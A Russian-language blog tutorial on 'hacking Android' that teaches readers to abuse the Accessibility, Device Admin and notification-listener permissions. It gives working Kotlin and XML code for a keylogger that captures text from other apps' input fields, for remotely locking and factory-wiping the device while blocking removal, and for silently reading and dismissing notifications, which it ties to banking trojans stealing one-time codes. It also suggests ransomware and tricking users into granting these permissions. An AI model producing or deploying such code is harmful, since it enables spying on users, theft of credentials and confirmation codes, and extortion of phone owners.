Взлом андроид - Как получить контроль над системой

5 способов взломать Андроид без получения root доступа.

Как не печально об этом говорить но мобильные и не только, устройства на базе системы Андроид более уязвимы по сравнению со своими яблочными конкурентами. Это происходит благодаря открытому исходному коду платформы и изобилию настроек, которые доступны для пользователей системы. О некоторых таких уязвимостях мы и поговорим сегодня, а именно — как получить контроль над системой андроид с помощью разрешений приложений. 

Взлом андроид - Как получить контроль над системой

Кро­ме тра­дици­онных раз­решений, в Android есть три мета‑раз­решения, которые откры­вают дос­туп к весь­ма опас­ным API, поз­воля­ющим в пря­мом смыс­ле зах­ватить кон­троль над устрой­ством. В этой статье мы научим­ся их исполь­зовать, что­бы прог­рам­мно нажимать кноп­ки смар­тфо­на, перех­ватывать уве­дом­ления, извле­кать текст из полей вво­да дру­гих при­ложе­ний и сбра­сывать нас­трой­ки смар­тфо­на.

API которые применяются для взлома андроид.

  1. Ад­минис­три­рова­ние устрой­ства — API, пред­назна­чен­ный для кор­поратив­ных при­ложе­ний. Поз­воля­ет сбра­сывать и уста­нав­ливать пароль экра­на бло­киров­ки, сбра­сывать смар­тфон до завод­ских нас­тро­ек и уста­нав­ливать пра­вила минималь­ной слож­ности пароля. Одна из осо­бен­ностей API — зап­рещено уда­лять при­ложе­ния, получив­шие пра­ва адми­нис­тра­тора, чем с радостью поль­зуют­ся авто­ры злов­редных при­ложе­ний.
  2. Accessibility — API для реали­зации при­ложе­ний, ори­енти­рован­ных на людей с огра­ничен­ными воз­можнос­тями. Фак­тичес­ки API поз­воля­ет соз­давать аль­тер­натив­ные спо­собы управле­ния устрой­ством и поэто­му откры­вает поис­тине огромный прос­тор для зло­упот­ребле­ния. С его помощью мож­но получить дос­туп к содер­жимому экра­на прак­тичес­ки любого при­ложе­ния, нажимать кноп­ки интерфей­са и прог­рам­мно нажимать кла­виши самого смар­тфо­на. Но есть и спо­соб защиты: раз­работ­чик при­ложе­ния может пря­мо ука­зать, что опре­делен­ные эле­мен­ты интерфей­са при­ложе­ния будут недос­тупны для сер­висов Accessibility.
  3. Уве­дом­ления — API, поз­воля­ющий получить дос­туп ко всем уве­дом­лени­ям, которые отоб­ража­ются в панели уве­дом­лений. С помощью это­го API при­ложе­ние может про­читать всю информа­цию об уве­дом­лении, вклю­чая заголо­вок, текст и содер­жимое кно­пок управле­ния, нажать на эти кноп­ки и даже смах­нуть уве­дом­ление. API поль­зует­ся осо­бой популяр­ностью сре­ди раз­работ­чиков все­воз­можных бан­ков­ских тро­янов, с помощью которо­го они могут читать коды под­твержде­ния и сма­хивать пре­дуп­режда­ющие сооб­щения от бан­ков.

По­лучив дос­туп ко всем этим API, злов­редное при­ложе­ние смо­жет сде­лать со смар­тфо­ном прак­тичес­ки все что угод­но. Имен­но поэто­му для их защиты исполь­зуют­ся не тра­дици­онные зап­росы пол­номочий, на которые поль­зователь может машиналь­но отве­тить «Да», а скры­тый глу­боко в нас­трой­ках интерфейс, который при акти­вации покажет угро­жающее сооб­щение. Все, что может сде­лать при­ложе­ние, что­бы получить нуж­ное пол­номочие, — это переб­росить поль­зовате­ля в окно нас­тро­ек, пос­ле чего тот дол­жен будет най­ти нуж­ное при­ложе­ние, вклю­чить нап­ротив него перек­лючатель и сог­ласить­ся с пре­дуп­режда­ющим сооб­щени­ем.

 

Зас­тавить поль­зовате­ля дать раз­решение на исполь­зование этих API мож­но обма­ном. Зачас­тую злов­реды при­киды­вают­ся легитим­ными при­ложе­ниями, которым раз­решение нуж­но для работы клю­чевой фун­кци­ональ­нос­ти. К при­меру, это может быть при­ложе­ние для ведения жур­нала уве­дом­лений или при­ложе­ние для аль­тер­натив­ной жес­товой навига­ции (такому при­ложе­нию нужен сер­вис Accessibility для нажатия кно­пок навига­ции). Так­же мож­но исполь­зовать ата­ку Cloak & Dagger, что­бы перек­рыть окно нас­тро­ек дру­гим безобид­ным окном.

 

1. Нажатие кнопок смартфона 

Прос­тей­ший сер­вис Accessibility может выг­лядеть так (код на Kotlin):

class AccessService: AccessibilityService() {
companion object {
var service: AccessibilityService? = null
 
// Метод для программного нажатия кнопки «Домой»
fun pressHome() {
service?.performGlobalAction(GLOBAL_ACTION_HOME)
}
}
 
override fun onServiceConnected() {
service = this
super.onServiceConnected()
}
 
override fun onUnbind(intent: Intent?): Boolean {
service = null
return super.onUnbind(intent)
}
 
override fun onInterrupt() {}
override fun onAccessibilityEvent(event: AccessibilityEvent) {}
}

Что­бы сис­тема узна­ла о нашем сер­висе, его необ­ходимо объ­явить в AndroidManifest.xml:

<service
android:name=".AccessService"
android:label="@string/app_name"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
 
<meta-data
android:name="android.accessibilityservice"
android:resource="@xml/accessibility_service_config" />
</service>

Это опи­сание ссы­лает­ся на кон­фигура­цион­ный файл accessibility_service_config.xml, который дол­жен быть опре­делен в катало­ге xml про­екта. Для нашего слу­чая дос­таточ­но будет такого кон­фига:

<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:canRetrieveWindowContent="false"
android:description="@string/accessibility_description" />

Пос­ле того как поль­зователь вклю­чит наш сер­вис Accessibility в окне «Нас­трой­ки → Спец. воз­можнос­ти», сис­тема авто­мати­чес­ки запус­тит сер­вис и мы смо­жем выпол­нить фун­кцию pressHome(), что­бы нажать кноп­ку «Домой»:

// Если service не null значит, система успешно запустила сервис
if (AccessService.service != null) {
AccessService.pressHome()
}

Од­ной лишь толь­ко этой фун­кци­ональ­нос­ти дос­таточ­но, что­бы реали­зовать Ransomware, который будет вызывать фун­кцию pressHome() в цик­ле и бес­конеч­но воз­вра­щать поль­зовате­ля на домаш­ний экран, не давая нор­маль­но исполь­зовать устрой­ство.

Окно включения сервиса Accessibility в Android 11
Окно включения сервиса Accessibility в Android 11
Ок­но вклю­чения сер­виса Accessibility в Android 11

Од­нако нас­тоящая мощь Accessibility кро­ется не в нажатии кно­пок навига­ции, а в воз­можнос­ти кон­тро­лиро­вать дру­гие при­ложе­ния.

 

2. Перехват содержимого полей ввода андроид

API Accessibility был соз­дан для людей с огра­ничен­ными воз­можнос­тями. С его помощью мож­но, нап­ример, соз­дать при­ложе­ние, которое будет зачиты­вать все над­писи интерфей­са и поз­волит нажимать эле­мен­ты интерфей­са голосом. Все это дос­тижимо бла­года­ря тому, что Accessibility дает пол­ный дос­туп к интерфей­су при­ложе­ний в виде дерева эле­мен­тов: мож­но прой­ти по нему и выпол­нить над эле­мен­тами опре­делен­ные опе­рации.

Что­бы научить наше при­ложе­ние «ходить» по интерфей­су при­ложе­ний, мы дол­жны изме­нить опи­сание сер­виса в его нас­трой­ках. Сле­дующий кон­фиг дает пол­ный дос­туп к интерфей­су любого при­ложе­ния:

<accessibility-service
xmlns:android="http://schemas.android.com/apk/res/android"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackAllMask"
android:accessibilityFlags="flagDefault"
android:canRequestEnhancedWebAccessibility="true"
android:notificationTimeout="100"
android:packageNames="@null"
android:canRetrieveWindowContent="true"
android:canRequestTouchExplorationMode="true"
/>

Те­перь напишем прос­тей­ший кей­лог­гер. Для это­го добавим в код сер­виса такую фун­кцию:

override fun onAccessibilityEvent(event: AccessibilityEvent) {
if (event.source?.className == "android.widget.EditText") {
Log.d("EditText text: ", event.source?.text.toString())
}
}

Те­перь все, что поль­зователь вве­дет в любое поле вво­да любого при­ложе­ния, будет выведе­но в кон­соль.

API Accessibility дос­таточ­но раз­вит и поз­воля­ет переме­щать­ся по дереву эле­мен­тов, копиро­вать текст эле­мен­тов, встав­лять в них текст и выпол­нять мно­жес­тво дру­гих дей­ствий. Это дей­стви­тель­но опас­ный инс­тру­мент, поэто­му Android будет исполь­зовать любую воз­можность, что­бы отоз­вать пра­ва Accessibility у при­ложе­ния. Нап­ример, это про­изой­дет при пер­вом же падении сер­виса. Кро­ме того, Android пре­дос­тавля­ет раз­работ­чикам спо­соб защитить кри­тичес­кие ком­понен­ты при­ложе­ния с помощью фла­га importantForAccessibility:

<LinearLayout
android:importantForAccessibility="noHideDescendants"
... />

Этот код скро­ет лей­аут и всех его потом­ков от сер­висов Accessibility.

То же самое в коде:

view.setImportantForAccessibility(IMPORTANT_FOR_ACCESSIBILITY_NO_HIDE_DESCENDANTS);

3. Дамп дерева UI

Есть удоб­ный спо­соб сде­лать дамп UI любого при­ложе­ния таким, каким его видит сер­вис Accessibility:

$ adb shell uiautomator dump
$ adb pull /sdcard/window_dump.xml
Дамп интерфейса Telegram
Дамп интерфей­са Telegram
 

4. Блокировка устройства и защита от удаления

Пе­рей­дем к API адми­нис­три­рова­ния устрой­ства. Как уже было ска­зано, этот API пред­назна­чен для уда­лен­ного управле­ния защитой устрой­ств: уста­нов­ки пароля, политик слож­ности пароля и уда­лен­ного сбро­са устрой­ства. Исполь­зовать его не труд­нее, чем сер­вис Accessibility, но сам прин­цип отли­чает­ся.

Пер­вое, что мы дол­жны сде­лать, — соз­дать ресивер, который будет выз­ван пос­ле вклю­чения/вык­лючения прав адми­нис­тра­тора. Добав­лять в ресивер какой‑то осмыслен­ный код необя­затель­но — глав­ное, что­бы он был:

class DeviceAdminPermissionReceiver : DeviceAdminReceiver() {
override fun onDisabled(aContext: Context, aIntent: Intent) {
}
}

Да­лее ресивер необ­ходимо добавить в манифест:

<receiver
android:name=".DeviceAdminPermissionReceiver"
android:label="@string/app_name"
android:permission="android.permission.BIND_DEVICE_ADMIN">
 
<meta-data
android:name="android.app.device_admin"
android:resource="@xml/admin_policies" />
 
<intent-filter>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
</receiver>

Эта запись ссы­лает­ся на кон­фигура­цион­ный файл xml/admin_policies.xml. Соз­даем его и добав­ляем сле­дующие стро­ки:

<device-admin>
<uses-policies>
<reset-password />
<force-lock />
<wipe-data />
</uses-policies>
</device-admin>

Кон­фиг говорит, что наше при­ложе­ние может сбра­сывать и менять пароль экра­на бло­киров­ки, вык­лючать экран, бло­кируя его паролем, и сбра­сывать устрой­ство до завод­ских нас­тро­ек.

Пос­ле того как поль­зователь даст раз­решение на исполь­зование прав адми­нис­тра­тора в раз­деле «Нас­трой­ки → Безопас­ность → При­ложе­ния адми­нис­тра­тора устрой­ства», мы можем про­верить, дей­стви­тель­но ли мы получи­ли эти пра­ва, и вос­поль­зовать­ся ими:

// Функция для определения наличия прав
fun checkAdminPermission() {
val adminComponent = ComponentName(this, DeviceAdminPermissionReceiver::class.java)
val policyManager = getSystemService(Context.DEVICE_POLICY_SERVICE) as DevicePolicyManager
return policyManager.isAdminActive(adminComponent))
}
 
val policyManager = getSystemService(Context.DEVICE_POLICY_SERVICE) as DevicePolicyManager
 
// Блокируем устройство и принудительно запрашиваем пароль
policyManager.lockNow()
 
// Сбрасываем устройство до заводских настроек
policyManager.wipeData(0)
 
// Меняем пароль экрана блокировки (не работает в Android 7+)
policyManager.resetPassword("1234", 0)

Об­рати вни­мание, что мы можем заб­локиро­вать устрой­ство и даже сбро­сить его до завод­ских нас­тро­ек, но начиная с Android 7 не име­ем пра­ва поменять текущий пароль на экра­не бло­киров­ки.

Ес­ли быть более точ­ным, текущий пароль в сов­ремен­ных устрой­ствах может изме­нять толь­ко при­ложе­ние со ста­тусом device owner. Есть лишь два спо­соба получить такой ста­тус:

  • ус­тановить при­ложе­ние‑адми­нис­тра­тор на девс­твен­но чис­тое устрой­ство с помощью QR-кода. Для это­го есть спе­циаль­ный API, которо­го мы не будем касать­ся в этой статье;
  • наз­начить при­ложе­ние device owner’ом с помощью ADB или прав root. Для это­го нуж­но выпол­нить такую коман­ду:

$ dpm set-device-owner com.example.app/.DeviceAdminPermissionReceiver

Но, даже имея воз­можность толь­ко сбра­сывать и бло­киро­вать устрой­ство, мы можем написать при­ложе­ние, которое будет тре­бовать у поль­зовате­ля выкуп, угро­жая унич­тожить все дан­ные, или бло­киро­вать устрой­ство в цик­ле. При этом поль­зователь не смо­жет прос­то так взять и уда­лить наше при­ложе­ние, сна­чала при­дет­ся отоз­вать у него пра­ва адми­нис­тра­тора.

Экран включения прав администратора
Экран включения прав администратора
Эк­ран вклю­чения прав адми­нис­тра­тора
 

5.  Перехват и смахивание уведомлений

Мо­жет показать­ся, что перех­ват уве­дом­лений не столь уж лакомый кусок для злов­редов, но толь­ко вду­май­ся: в сов­ремен­ных устрой­ствах через уве­дом­ления про­ходит мас­са кон­фиден­циаль­ной информа­ции: СМС (вклю­чая одно­разо­вые коды под­твержде­ния), сооб­щения мес­сен­дже­ров, заголов­ки писем и часть их содер­жимого, все­воз­можные сер­висные сооб­щения.

Как и в слу­чае Accessibility API, для перех­вата уве­дом­лений нужен сер­вис, которым в ито­ге будет управлять сама сис­тема. Напишем код сер­виса:

class NLService: NotificationListenerService() {
private var connected = false
 
override fun onListenerConnected() {
connected = true
super.onListenerConnected()
}
 
override fun onListenerDisconnected() {
connected = false
super.onListenerDisconnected()
}
 
override fun onNotificationPosted(sbn: StatusBarNotification) {
cancelNotification(sbn.key)
}
 
override fun onNotificationRemoved(sbn: StatusBarNotification?) {
}
}

Сер­вис име­ет четыре основных кол­бэка. Два вызыва­ются при под­клю­чении/отклю­чении сер­виса (это обыч­но про­исхо­дит при запус­ке и оста­нов­ке при­ложе­ния, а так­же при вклю­чении и вык­лючении дос­тупа к уве­дом­лени­ям). Еще два нуж­ны для обра­бот­ки появ­ления/исчезно­вения уве­дом­лений.

Наш прос­тей­ший сер­вис при появ­лении уве­дом­ления сра­зу сма­хива­ет его, а при исчезно­вении не дела­ет ничего. Одна­ко мы мог­ли бы, нап­ример, запом­нить заголо­вок, текст, а так­же пакет, которо­му при­над­лежит уве­дом­ление:

val extras = sbn.notification.extras
 
val title = extras.getCharSequence(Notification.EXTRA_TITLE)
val text = extras.getCharSequence(Notification.EXTRA_TEXT)
val package = sbn.packageName

Бан­ков­ские тро­яны обыч­но смот­рят на пакет при­ложе­ния, срав­нивая с базой бан­ков­ских кли­ентов, а так­же рас­парси­вают заголо­вок и текст сооб­щения в поис­ках спе­цифич­ных для сооб­щений бан­ков строк. Далее уве­дом­ление прог­рам­мно сма­хива­ется.

Что­бы сер­вис зарабо­тал, его необ­ходимо объ­явить в манифес­те:

<service
android:name=".NLService"
android:label="@string/app_name"
android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
<intent-filter>
<action android:name="android.service.notification.NotificationListenerService" />
</intent-filter>
</service>

Пос­ле вклю­чения в нас­трой­ках (При­ложе­ния и уве­дом­ления → Спе­циаль­ный дос­туп → Дос­туп к уве­дом­лени­ям) сер­вис нач­нет работать.

Окно включения доступа к уведомлениям
Окно включения доступа к уведомлениям
Ок­но вклю­чения дос­тупа к уве­дом­лени­ям
 

Итоги

Не­дур­но, не прав­да ли? Написав пару десят­ков строк кода, мы научи­лись прог­рам­мно нажимать кноп­ки смар­тфо­на, перех­ватывать уве­дом­ления, извле­кать текст из полей вво­да дру­гих при­ложе­ний и даже сбра­сывать нас­трой­ки смар­тфо­на. Все это выг­лядит дей­стви­тель­но страш­но, осо­бен­но в срав­нении с iOS. Но сог­ласись, далеко не так страш­но, как в слу­чае с нас­толь­ными Windows, Linux и macOS, где для получе­ния пол­ного кон­тро­ля над устрой­ством иног­да дос­таточ­но все­го лишь зас­тавить поль­зовате­ля нажать «Да» в одном‑единс­твен­ном диало­ге.

 

Click to rate this post!
[Total: 1 Average: 5]

Специалист в области кибер-безопасности. Работал в ведущих компаниях занимающихся защитой и аналитикой компьютерных угроз. Цель данного блога - простым языком рассказать о сложных моментах защиты IT инфраструктур и сетей.

Leave a reply:

Your email address will not be published.